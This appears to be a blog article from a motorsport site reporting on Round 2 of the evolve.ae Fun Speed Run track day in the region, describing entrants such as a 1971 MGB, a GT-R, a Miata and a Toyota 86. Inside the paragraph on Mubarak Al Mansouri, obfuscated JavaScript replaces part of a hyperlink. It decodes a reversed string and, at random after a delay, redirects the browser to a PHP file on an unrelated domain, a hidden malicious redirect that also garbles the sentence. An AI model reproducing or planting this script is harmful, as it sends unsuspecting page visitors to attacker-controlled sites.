After the complete success of Round 1 in the evolve Fun Speed Run challenge there was much euphoria. However, as is often the case, this euphoric high was soon followed by an emotional low and sadness spread across the land.
Sad-faced emoticons were tagged on to interweb forum posts pleading for a high-octane solution to the deficit in grassroot motor-sport in the region. An emergency meeting of the evolve high command was convened. Something had to be done.
Much deliberation, cogitation and drawing of squiggly looking mind-maps ensued until a plan was hatched. And so it came to pass that Round 2 of the evolve.ae Fun Speed Run was born and crankandpiston were there to cover this momentous occasion.
The almost unfathomable genius in this plan lay in maintaining most of the winning formula of Round 1. Cars would run in separate categories of all-wheel drive, front-wheel drive and rear-wheel drive only now there was the added incentive of some silver ware for a class win and another for the overall fastest time.
A new category had also been created for classic cars to encourage owners of jalopies to get out on track. Watching Mr. Bailey get his lean-on and demonstrate some serious old school British drifting in his 1971 MGB Roadster was an absolute pleasure to see.
Mubarak Al Mansouri, owner of the coolest $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/crankandpiston-feature-1973-datsun-510-dubai-uae/” target=”_blank”>Datsun 510 in the Middle East, was there in his other ‘Datsun‘, an R35 GT-R. With his recent acquisition, of a highly tuned B13 Nissan Sunny Coupé, he could soon be a contender in each category including the classics. Maximum kudos for brand loyalty.
Osama Rashid was also participating in his first ever track event in the little Miata. It is said that at any one time, anywhere in the world, there are more Mazda MX-5’s/Miata’s/Eunos Roadsters (whatever you call them in your part of the world) on track than any other model by any manufacturer. This is the first I have witnessed in the Middle East and Osama seemed to be having a blast.
Some Toyobaru’s are finally making their way on to track in the region. Laurie Bridger was letting it all hang out in the 86 on his first few runs but reduced his lap time by ten seconds, keeping it neat and tidy, by the end of the day.
